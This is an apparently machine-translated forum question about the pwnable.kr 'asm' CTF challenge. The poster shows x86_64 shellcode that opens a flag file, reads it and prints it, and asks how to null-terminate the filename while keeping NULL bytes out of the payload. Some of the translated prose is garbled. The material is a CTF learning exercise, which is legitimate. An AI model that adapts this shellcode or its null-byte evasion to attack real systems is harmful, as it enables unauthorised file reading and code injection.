-1
我試圖從pwnable.kr(toddlers bottle,asm)解決CTF任務,其中我必須編寫一個「shellcode」,它將打開,讀取和寫入文件內容(包含旗)。在shellcode中處理字符串
我的代碼如下:
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
除以0是有停止執行並避免與call shellcode
長串是包含標誌的文件的名稱循環。
我找到了竅門與坡平字符串的地址到寄存器中的位置:Linux Shellcode "Hello, World!"
我的問題是:文件名不爲空終止。因此,當調用sys_open時,文件名在實際字符串後面包含垃圾回收。
我試圖做成才,如:
xor al, al
mov byte [rdi + 464], al
彈出到RDI手動插入NULL,但我無法擺脫從字節碼NULL後(shellcode的會從標準輸入讀取,所以這是一個問題)。
處理這個問題的最佳方法是什麼?
體系結構:x86_64